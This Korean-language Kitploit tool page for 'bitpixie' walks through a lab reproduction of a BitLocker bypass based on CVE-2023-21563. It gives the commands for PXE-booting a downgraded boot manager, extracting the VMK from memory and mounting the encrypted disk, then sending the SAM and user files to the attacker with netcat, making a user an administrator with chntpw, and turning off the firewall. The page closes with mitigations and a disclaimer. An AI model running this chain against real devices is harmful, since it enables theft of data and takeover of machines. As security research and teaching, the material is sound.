Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
bitpixie — CVE-2023-21563 취약점 기반 BitLocker 암호화 크래킹 | Kitploit
도구/GitHubGitHub/lr2006-robot/bitpixie
Privilege EscalationEncryption/Decryption ToolsVulnerability AnalysisExploitationPost-ExploitationHardware SecurityLearning & EducationLabs & Practice
GitHublr2006-robot/bitpixie

bitpixie

CVE-2023-21563 취약점 기반 BitLocker 암호화 크래킹

저장소 보기
32개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

bitpixie

전체 블로그는 여기를 클릭하세요

주요 참고 자료

  • syss 블로그 게시물
  • Syss의 Github 저장소

Bitpixie로 Bitlocker 크랙 구현

가상 머신으로 재현했습니다. 로컬 머신(공격기)은 Ubuntu 22.04.5 LTS 시스템을 사용하고, 피해 머신은 각각 Windows 10 21H2 19041.1 및 Windows 11 21H2 22000.318이며, 모두 BitLocker 암호화가 활성화되어 있습니다. QEMU를 가상 머신 관리자로 사용하고 virt-manager로 관리합니다. 여기서는 Windows 11 가상 머신으로 작업합니다.

제 재현 관련 파일은 Syss의 Github 저장소에서 가져왔으며, 그 위에 도구 버전 적용 및 일부 예기치 않은 상황 처리를 수행했습니다. 다운로드 후 바로 사용하거나 필요에 따라 수정할 수 있습니다. 가상 머신 이미지 파일은 UUP Dump에서 가져왔으며, 다양한 Windows 버전을 다운로드할 수 있고, 다운로드 후 cmd 파일 또는 sh 파일을 실행하면 ISO 이미지 파일을 얻을 수 있습니다.

피해 가상 머신 환경 구축

QEMU와 virt-manager의 설치 및 사용에 대해서는 여기서 자세히 설명하지 않겠습니다. 다만 새로 다운로드한 사용자는 virt-manager에서 "Edit -> Preferences -> General -> Enable XML editing"을 통해 XML 편집 기능을 활성화하여 가상 머신의 XML 구성 파일을 직접 편집할 수 있습니다.

가상 머신 생성 시 "Local install media (ISO image or CDROM)"를 선택하고 이전에 다운로드한 Windows 11 ISO 이미지 파일을 선택합니다. 적절한 리소스(CPU, 메모리, 디스크 공간 등)를 할당하고 마지막에 반드시 "Customize configuration before install"을 선택하여 설치 전에 구성 파일을 편집할 수 있도록 합니다. 여기서 자동 시스템 인식에 문제가 있을 수 있는데, 이때 직접 "Microsoft Windows 10/11"을 선택하면 됩니다.

이제 구성을 시작합니다. 가장 중요한 점은(나중에 변경할 수 없고 다른 것은 생성 후 반복 수정 가능) Overview 탭에서 Firmware를 "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd"로 선택하는 것입니다. 이 옵션을 선택하지 않았다면 가상 머신을 삭제하고 다시 배치하면 됩니다. 어차피 번거롭지 않습니다. 가상 머신 Overview 구성

그런 다음 "Boot Options" 탭으로 이동하여 "SATA CDROM 1"이 체크되어 있는지 확인합니다. 그렇지 않으면 시스템을 설치할 수 없습니다. "SATA CDROM 1"을 목록 맨 위로 이동하면 부팅 시 더 간단해집니다. 이때 바로 생성할 수 있으며, 시스템 설치 후 나머지 구성을 통합적으로 수정하면 됩니다.

"Press any key to boot from CD or DVD..."가 보이나요? 아무 키나 눌러 설치 화면으로 들어가고 지시에 따라 설치를 완료합니다. 만약 실수로 다른 페이지에 들어갔다면 당황하지 말고 "Boot Manager"를 선택한 후 "UEFI: QEMU DVD-ROM"을 선택하면 원래 화면으로 돌아가 아무 키나 눌러 부팅할 수 있습니다. Boot Manager

다음으로 시스템을 설치합니다. 제품 키 없음을 체크하고 Professional 버전을 설치하면 됩니다. 이후에는 계정 등록 같은 번거로운 절차가 있는데, 오프라인으로 부팅하여 번거로움을 줄이는 것을 권장합니다. 이 옵션이 없다면 Shift + F10을 눌러 명령 프롬프트를 열고 OOBE\BYPASSNRO를 입력하여 오프라인 계정 생성 옵션을 활성화합니다.

정상적으로 진입한 후 터미널에서 msinfo32를 입력하여 시스템 정보를 확인하고(물리 머신은 UEFI인지 확인), 바로 종료한 다음 구성을 수정합니다:

  1. TPM은 "Add Hardware"에서 "TPM 2.0"을 추가합니다. TPM이 없다면 "Add Hardware"에서 TPM을 추가하면 됩니다.
  2. "SATA CDROM 1"에서 ISO 이미지 파일을 이전에 준비한 virtio 이미지 파일로 교체합니다.
  3. "Boot Options"에서 "NIC"도 체크합니다.
  4. "NIC"에서 "Device model"을 "virtio"로 변경하고 XML에 <rom enabled="no"/>를 추가하여 네트워크 부팅을 활성화합니다. 예시는 다음과 같습니다:
root@kitploit:~
<interface type="network">
  <mac address="52:54:00:2f:53:4e"/>
  <source network="default"/>
  <model type="virtio"/>
  <boot order="2"/>
  <rom enabled="no"/>
  <address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>

virtio 네트워크 구성을 사용하는 주된 이유는 네트워크 하드웨어의 "반가상화" 특성으로 호스트와 직접 통신하기 때문입니다. 동시에 네트워크 부팅 ROM을 비활성화하는 것은 UEFI 펌웨어가 내장 PXE 프로토콜을 통해 virtio 네트워크 카드와 직접 통신하여 부팅 과정에서 불필요한 간섭을 방지하고, 시스템에 원활하게 진입하여 후속 구성 및 테스트를 수행할 수 있도록 하기 위함입니다.

가상 머신에 진입하여 CD 드라이브로 virtio 드라이버를 설치하면 자동으로 구성되며, 네트워크가 정상인지 간단히 테스트할 수 있습니다. 그런 다음 Bitlocker 암호화를 수행하고, 후속 검증을 위해 데스크톱에 flag 파일을 새로 만들 수 있습니다.

물리 머신으로 재현하는 경우에는 공격기와 피해 머신을 네트워크 케이블로 연결하기만 하면 되고 virtio를 구성할 필요가 없습니다. 다른 구성은 기본적으로 동일하며, 유일하게 주의할 점은 물리 머신의 네트워크 인터페이스가 여러 개일 수 있으므로 올바른 인터페이스를 선택하여 구성해야 한다는 것입니다.

피해 머신의 구성이 완료되었으면 바로 종료하고, 앞서 취약점 이용 원리에서 수립한 단계에 따라 취약점을 이용하면 됩니다.

공격기 구성 및 Bitpixie 공격

여기서 전체 공격 프로세스의 참고 그림을 제공합니다. 대략적인 흐름을 먼저 살펴본 후 단계별로 구현하겠습니다: 공격 프로세스

로컬 머신(공격기)에는 다음 소프트웨어 패키지가 반드시 설치되어 있어야 합니다:

  • dnsmasq
  • impacket-smbserver
  • hivexregedit

Ubuntu 또는 Debian에서는 다음 명령으로 설치할 수 있습니다:

root@kitploit:~
sudo apt install dnsmasq libwin-hivex-perl python3-impacket

프로젝트에 포함된 파일에서 build.sh 파일을 실행하여 bitpixie-initramfs를 생성합니다. 로컬 환경에 맞게 직접 수정하려면 build.sh에서 원하는 도구 및 버전 파일을 구성한 후 bitpixie-initramfs를 다시 생성하면 됩니다.

그런 다음 터미널에 ifconfig를 입력하여 로컬 머신(공격기)의 가상 게이트웨이를 확인합니다. 아래는 제 시스템을 예로 든 것입니다:

root@kitploit:~
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.123.1  netmask 255.255.255.0  broadcast 192.168.123.255
        ether 52:54:00:23:11:39  txqueuelen 1000  (Ethernet)
        RX packets 46749  bytes 4384179 (4.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 67170  bytes 414459630 (414.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

다음 명령을 사용하여 PXE 부팅 프로세스를 위한 TFTP 서버와 수정된 BCD 파일 전송 스크립트를 위한 SMB 서버를 시작합니다. 방금 확인한 내용을 채우면 되며, 제 경우는 virbr0입니다.

root@kitploit:~
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
root@kitploit:~
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>

주요 문제는 bcdedit 명령이 로컬 관리자로만 실행할 수 있다는 것입니다. 그러나 BCD 파일은 드라이브의 암호화되지 않은 EFI 파티션에 있으므로 추출하는 방법은 여러 가지가 있습니다. 한 가지 방법은 하드 드라이브를 물리적으로 분리한 후 다른 시스템에서 BCD 파일을 추출하는 것입니다. 그러나 더 간단하고 덜 침습적인 방법은 고급 부팅 옵션으로 부팅하는 것입니다. 대부분의 시스템에서 Shift + 다시 시작으로 이 작업을 수행할 수 있습니다. 로그인 화면에서도 이 방법이 유효합니다. 이제 "문제 해결 -> 고급 옵션 -> 명령 프롬프트"에서 명령줄을 입력할 수 있습니다. 이 과정에서 BitLocker 복구 화면이 표시될 가능성이 높으며, "이 드라이브 건너뛰기" 버튼으로 건너뛸 수 있습니다.

이제 터미널에서 먼저 ipconfig를 입력하여 네트워크 상태를 확인합니다. IP가 10.13.37.xxx로 표시되면 아래 단계를 건너뛸 수 있습니다. 표시되지 않으면 네트워크를 수동으로 구성해야 합니다. 먼저 올바른 경로를 확인하고, 어떤 드라이브인지 그리고 자신의 가상 머신 버전을 확인합니다:

root@kitploit:~
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64

그런 다음 결과에 따라 다음 명령으로 네트워크를 구성합니다:

root@kitploit:~
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

Network Configuration

IP 주소가 나타나면 SMB 전송을 수행할 수 있습니다. 다음 명령을 입력하면 수정된 BCD 파일이 공격자 머신으로 직접 이동되어 실제 bitpixie 공격을 바로 시작할 수 있습니다:

root@kitploit:~
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

BCD_SMB

다음으로 페이지로 돌아가 "디바이스 사용 -> PXE 부팅"을 통해 다운그레이드된 부트 로더로 부팅하고, 수정된 BCD를 로드하고, 디스크를 봉인 해제하고, 커널 부팅에 실패하면 pxesoftreboot를 실행합니다. PXE 부팅을 찾을 수 없다면 나가서 가상 머신 구성을 확인하고 "Boot Options"에서 NIC 옵션이 체크되어 있는지 확인합니다. PXE 서버를 제어하고 있으므로 미리 준비한 Debian 시스템으로 진입할 수 있습니다.

그런 다음 root를 입력하여 진입하고 su 명령을 사용한 후 파티션에 대해 스크립트를 실행하면 됩니다:

root@kitploit:~
run-exploit /dev/sda3

Run Exploit

모든 것이 순조롭다면 일치하는 VMK 데이터가 직접 표시되고, 현재 디렉터리에 vmk.dat 파일이 생성됩니다. 이것이 메모리에서 추출한 VMK 파일입니다. 암호화된 디스크의 내용이 /mnt 디렉터리에 마운트되어 있으며, 바로 들어가서 이전에 생성한 flag 파일을 확인할 수 있습니다. Flag File

여기까지 Bitpixie 취약점을 성공적으로 이용하여 BitLocker 암호화 디스크의 VMK 파일을 추출하고, 암호화된 디스크의 내용에 성공적으로 접근했습니다.

물론 몇 가지 문제가 발생할 수도 있습니다. 예를 들어 VMK 파일을 찾지 못한 경우에는 VMK가 메모리에 제대로 보존되지 않았거나 올바르게 스캔되지 않았을 수 있으므로 다시 시도해 보는 것이 좋습니다. BCD 버전이 맞지 않아서일 수도 있습니다. 또 다른 경우는 VMK 파일은 찾았지만 암호화된 디스크를 마운트할 수 없는 경우입니다. VMK 파일이 불완전하거나 손상되었을 수 있으며, 유효한 식별자 03 20 01 00을 반드시 찾아야 합니다. VMK 파일을 다시 추출하거나 사용 중인 도구가 현재 시스템의 BitLocker 버전을 지원하는지 확인할 수 있습니다(dislcker 버전이 안정적인 구버전으로 고정되어 있으므로 새 버전을 다시 다운로드할 수 있습니다).

여기까지 필요한 파일에 접근했지만 아직 컴퓨터의 원래 파일을 내보내지 않았습니다. 여기서 필요한 데이터를 네트워크를 통해 공격기로 직접 전송할 수 있습니다. 저는 네트워크를 통해 공격기로 직접 전송하는 것을 선택했습니다. 유용한 파일만 전송하는 것을 권장하며, 시스템 파일은 전송할 필요가 없습니다. 여기서는 데스크톱의 flag 파일과 시스템의 SAM 파일을 예로 들어보겠습니다.

작은 파일을 전송하려면 공격기에서 연결 포트를 열면 됩니다:

root@kitploit:~
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM

피해 머신에서 다음 명령을 입력하여 파일을 공격기로 전송합니다:

root@kitploit:~
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445

폴더를 전송하는 경우 먼저 압축한 후 전송해야 합니다:

root@kitploit:~
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446

암호화된 디스크에 대한 접근 권한을 얻었지만 아직 피해자 컴퓨터를 완전히 제어하지는 못했습니다. 이때 chntpw 도구를 사용하여 시스템의 사용자 계정 비밀번호를 수정하여 관리자 권한을 얻을 수 있습니다. 물론 저는 낮은 권한의 사용자를 만든 후 관리자로 권한을 상승시키는 방법을 더 권장합니다. 이 방법이 더 안정적이기 때문입니다.

여기서는 낮은 권한 사용자 Dorange를 관리자로 승격시킵니다. 먼저 chntpw를 사용하여 사용자 계정의 권한을 수정해야 합니다. 예시 명령은 다음과 같습니다:

root@kitploit:~
chntpw -u Dorange /mnt/Windows/System32/config/SAM

물론 먼저 명령으로 진입하여 어떤 사용자가 있는지 확인할 수도 있습니다:

root@kitploit:~
chntpw - /mnt/Windows/System32/config/SAM

chntpw

그런 다음 안내에 따라 권한을 수정하면 됩니다. 권한을 직접 수정하거나 사용자를 관리자 그룹에 추가할 수 있습니다. 어차피 큰 차이는 없습니다. 여기서는 관리자 그룹에 직접 추가하는 것을 권장합니다. 더 안정적이기 때문입니다. 수정이 완료되면 chntpw -i SAM 명령으로 권한을 확인할 수 있습니다. chntpw_modify

주의: 모든 변경 사항이 디스크에 기록되도록 BitLocker 파티션을 반드시 마운트 해제한 후 시스템을 재부팅해야 합니다. 마지막으로 바로 접속하여 개조가 성공했는지 확인합니다. 터미널에서 net localgroup Administrators를 입력하여 관리자 그룹의 구성원을 확인하고, 이전에 추가한 사용자 Dorange가 그 안에 있는지 확인합니다. Administrator Group

이제 우리는 가상 머신에서 CVE-2023-21563 취약점을 기반으로 한 BitLocker 크랙을 성공적으로 구현하고, VMK 파일을 추출하고, 암호화된 디스크의 내용에 성공적으로 접근하여 중요한 파일을 내보냈으며, 낮은 권한의 사용자를 관리자 권한으로 성공적으로 승격시켰습니다.

물리 머신 구현

물리 머신의 구성은 가상 머신만큼 친절하지 않습니다. 기본적으로 가상 머신은 앞선 단계를 그대로 따라 하면 바로 사용할 수 있고 하드웨어 요구 사항도 많지 않지만, 물리 머신은 하드웨어 구성을 단계별로 확인해야 합니다. 대부분의 컴퓨터는 기본적으로 Home 버전이 설치되어 있지만 Bitlocker 기능은 Professional 버전에서만 사용할 수 있는 것으로 보이므로, 물리 머신은 업그레이드가 필요할 수도 있습니다.

팀에서 실험을 진행하면서 Windows의 새 버전 25H2에서는 거의 구현이 불가능하다는 것을 발견했습니다. 먼저 고급 옵션에서 명령줄에 진입할 때 Bitlocker 복구 키 입력을 건너뛸 수 없습니다. 설령 진입하더라도 PXE 소프트 재부팅을 수행할 때 반드시 Bitlocker 복구 키를 입력해야 부팅을 사용할 수 있습니다.

또한 물리 머신의 하드웨어 초기 요구 사항도 상대적으로 높으며, 일부 슬림 노트북과 구형 게이밍 노트북의 하드웨어는 PXE 부팅을 지원하지 않습니다. 여기서 소개하는 것은 샤오미 슬림 노트북으로, 하드웨어가 네트워크 부팅을 지원하지 않습니다(정상적으로 지원하는 경우 여기에 Network Boot 옵션이 있습니다): xiaomi

또한 국내에서 흔한 브랜드인 ASUS 노트북의 경우, Windows 버전이 상대적으로 낮아도 PXE 부팅 실패 후 커널 부팅 과정에서 멈추는 현상이 발생했습니다(제조업체 하드웨어가 일정 수준의 제한을 두고 있는 것으로 의심됩니다).

먼저 피해 머신이 UEFI 부팅을 지원하는지 확인해야 합니다. Windows에서 msinfo32를 입력하여 시스템 정보를 확인할 수 있으며, 시스템 요약에서 "BIOS 모드"가 "UEFI"로 표시되면 UEFI 부팅을 지원하는 것입니다.

가장 중요한 것은 물리 머신에 수정 패치가 적용되었는지 확인하는 것입니다. 관리자 터미널에서 Get-HotFix를 입력하여 시스템 패치 상태를 확인합니다. KB5025885 또는 이후 패치가 이미 적용된 경우 이 취약점을 이용할 수 없습니다. 또한 인증서가 구버전인지 확인해야 합니다(마이크로소프트가 2026년에 새 인증서를 발급했다고 들었는데 사실인지 모르겠습니다).

root@kitploit:~
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"

Patch Check

TPM 구성에 관해서는 Windows에서 장치 관리자를 검색하여 "보안 장치"에 TPM 장치가 있고 버전이 2.0인지 확인합니다. 없다면 BIOS에 진입하여 TPM 기능을 활성화해야 합니다. 그런 다음 관리자 터미널에서 manage-bde -protectors -get C:를 입력하여 BitLocker 암호화 상태를 확인합니다. TPM의 PCR이 7과 11이 아니라면 수동으로 조정해야 합니다(현재 기본값은 0, 2, 4, 11인 것으로 보입니다).

먼저 "Win + R"을 눌러 gpedit.msc를 입력하고 로컬 그룹 정책 편집기를 엽니다. "컴퓨터 구성 -> 관리 템플릿 -> Windows 구성 요소 -> BitLocker 드라이브 암호화 -> 운영 체제 드라이브" 경로로 이동하여 "로컬 UEFI 펌웨어 구성에 대한 TPM 플랫폼 검증 프로필 구성" 옵션을 찾아 "사용"으로 설정하고 옵션에서 "PCR 7 및 11"을 선택한 후 확인하고 종료합니다. TPM Configuration

그런 다음 관리자 터미널로 돌아가 먼저 기존 TPM 보호기를 삭제한 후 TPM 보호기를 다시 추가합니다. 그러면 이전에 설정한 PCR 7 및 11에 따라 구성됩니다. 앞서 우리의 부팅 파일이 모두 구버전으로 유도된 것임을 알고 있으므로 PCR에 반드시 4가 포함되지 않아야 합니다. 그렇지 않으면 공격을 완료할 수 없습니다:

root@kitploit:~
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:

TPM Protector

물리 머신은 기본적으로 IPv4 PXE 부팅이 활성화되어 있지 않을 수 있으므로 BIOS에 진입하여 활성화해야 합니다. BIOS에 진입하는 단축키는 온라인에서 검색할 수 있습니다(컴퓨터마다 다르므로 여기서 설명하지 않습니다). 안 되면 "Shift + 다시 시작" 후 "문제 해결 -> 고급 옵션 -> UEFI 펌웨어 설정"으로 이동하여 재부팅해도 됩니다. 제 물리 머신은 BIOS의 Advanced 탭에 Advance\Network Stack Configuration이 있으며, Network Stack과 Ipv4 PXE Support를 활성화하면 됩니다. BIOS Configuration

이제 물리적 네트워크 연결을 구성합니다. 공격기와 피해 머신을 네트워크 케이블로 연결해야 하며, 공격기에서 DHCP 서버를 시작하여 피해 머신에 IP 주소를 할당해야 합니다(수동 할당 가능). 공격기에서 미리 DHCP 서버를 시작합니다:

root@kitploit:~
./start-server.sh smb <interface>
./start-server.sh pxe <interface>

그 후 피해 머신의 IP 주소를 ping하여 네트워크가 연결되었는지 확인할 수 있습니다. 연결되지 않으면 네트워크 구성을 확인해야 합니다:

root@kitploit:~
brctl show virbr0

interfaces 항목이 비어 있는지 확인합니다. 비어 있다면 물리 네트워크 인터페이스를 수동으로 추가해야 합니다. 먼저 확인한 후 추가합니다(직접 식별해야 합니다):

root@kitploit:~
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0

Network Configuration

interfaces 항목을 다시 확인하면 추가한 물리 네트워크 인터페이스가 표시됩니다. 이때 피해 머신의 IP 주소를 ping해 볼 수 있습니다. 피해 머신의 IP 주소는 피해 머신에서 ipconfig를 입력하여 확인할 수 있습니다. ping이 되지 않으면 네트워크 구성을 확인하여 공격기와 피해 머신이 같은 네트워크 세그먼트에 있는지 확인해야 합니다.

피해 머신에서 공격기를 ping할 수 있는데 공격기에서 피해 머신을 ping할 수 없는 경우, 피해 머신의 방화벽 설정을 확인하여 공격기에서 오는 트래픽이 허용되는지 확인해야 합니다. 임시로 방화벽을 끌 수 있습니다:

root@kitploit:~
netsh advfirewall set allprofiles state off

물론 공격기에서 10.13.37.0/24 네트워크 세그먼트의 트래픽이 차단되지 않도록 다음 두 명령을 실행합니다(실제로는 구성하지 않아도 일반적으로 정상 연결됩니다):

root@kitploit:~
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT

그러나 실제로 고급 부팅에서 명령줄에 진입할 때 네트워크 연결 단계는 자동으로 완료되지 않는 경우가 많습니다. 앞서 가상 머신을 구성할 때처럼 드라이버를 수동으로 구성해야 합니다. 물론 가상 머신처럼 간단하지는 않습니다. 먼저 USB 드라이브에 드라이버 파일을 준비한 다음 피해 머신에서 드라이버를 로드하고 네트워크를 구성해야 합니다. 이 단계는 간단하고 앞서와 거의 동일하므로 자세히 설명하지 않겠습니다. 이후의 단계는 앞서 가상 머신의 단계와 동일하므로 앞선 단계를 그대로 따라 필요한 BCD 파일을 얻으면 됩니다.

물론 실제로는 피해 머신과 동일한 시스템의 가상 머신에서 직접 BCD 파일을 추출할 수도 있습니다. 이렇게 하면 물리 머신에서 네트워크를 구성할 필요 없이 가상 머신에서 추출한 후 SMB를 통해 공격기로 전송하기만 하면 됩니다. 이 방법이 훨씬 간단하고 편리합니다. 그러나 이 방법은 BCD 버전이 맞지 않아 이후 VMK 파일을 찾지 못하는 위험이 있을 수 있습니다.

이후 PXE 부팅에 진입하면 후속 작업은 차이가 없습니다. 그러나 하드웨어 미지원 등의 문제로 부팅 실패로 인한 크래시 또는 성공적으로 진입했지만 VMK 파일을 얻지 못하는 상황이 발생할 수 있습니다. 따라서 물리 머신에서 재현할 때는 다양한 소프트웨어/하드웨어 환경 문제로 인해 재현 성공률이 매우 낮을 수 있습니다. 어쩌면 이 취약점이 심각해 보이지만 널리 악용되거나 수정되지 않는 이유 중 하나일 수도 있습니다.

결론 및 효과적인 완화 조치

이 글은 사전 부팅 인증이 인증되지 않은 공격자의 암호화된 하드 디스크 내용 접근을 방지한다는 것을 보여줍니다. 그러나 부팅 전 인증은 유효한 BitLocker PIN을 보유한 악의적인 내부 행위자가 장치의 로컬 관리 액세스 권한을 얻고, 바이러스 백신 소프트웨어를 비활성화하거나 캐시된 자격 증명을 추출하는 것을 막지 못합니다. 이는 공유 시스템에서 특히 중요합니다. 공격자가 동일한 시스템의 다른 사용자 데이터에 직접 접근할 수 있기 때문입니다.

다운그레이드 공격을 방지하는 효과적인 조치 중 하나는 TPM 봉인 해제 시 검사하는 PCR을 변경하는 것입니다. 부팅 관리자 취약점 CVE-2024-38058에 대응하여 Microsoft는 측정 부팅 프로세스에 PCR 4를 추가했습니다. 이 레지스터에는 부팅 관리자 코드의 해시와 모든 부팅 시도가 포함됩니다. 현재 일부 컴퓨터의 기본 PCR 값은 0, 2, 4, 11입니다.

다운그레이드 공격에 사용되는 취약한 부팅 관리자는 Microsoft Windows Production PCA 2011이 서명했습니다. 이 인증서의 유효 기간은 15년으로 2026년 6월까지 유효합니다. Microsoft UEFI CA 2011(타사 부팅 관리자 서명에 사용)과 Microsoft Corporation KEK CA 2011(데이터베이스 및 DBX 콘텐츠 관리 담당)도 비슷한 운명을 맞이할 것입니다. 따라서 Microsoft는 2023년에 새로운 루트 인증서 세트를 등록했습니다. Windows 부팅 관리자 서명에는 새로운 Windows UEFI CA 2023이 사용됩니다. 현재 이 인증 기관의 등록은 자동으로 완료되지 않았지만 KB5025885 패치를 수동으로 적용하여 완료할 수 있습니다. 이 패치는 새 CA를 데이터베이스에 추가하고, 2023 CA가 서명한 부팅 관리자를 설치하고, 2011 CA를 DBX 데이터베이스에 추가하여 폐기합니다.

star 간절히 부탁드립니다

도움이 되셨다면 Github 프로젝트에 star를 눌러주세요!!! star

면책 조항

면책 조항: 제 모든 글은 기술 공유를 목적으로 하며, 방어 목적의 기록으로만 사용됩니다. 모든 작업은 실험 환경에서 수행되었습니다. 다른 용도로 사용하지 마십시오. 그로 인한 결과는 본인이 책임집니다.

도구 다운로드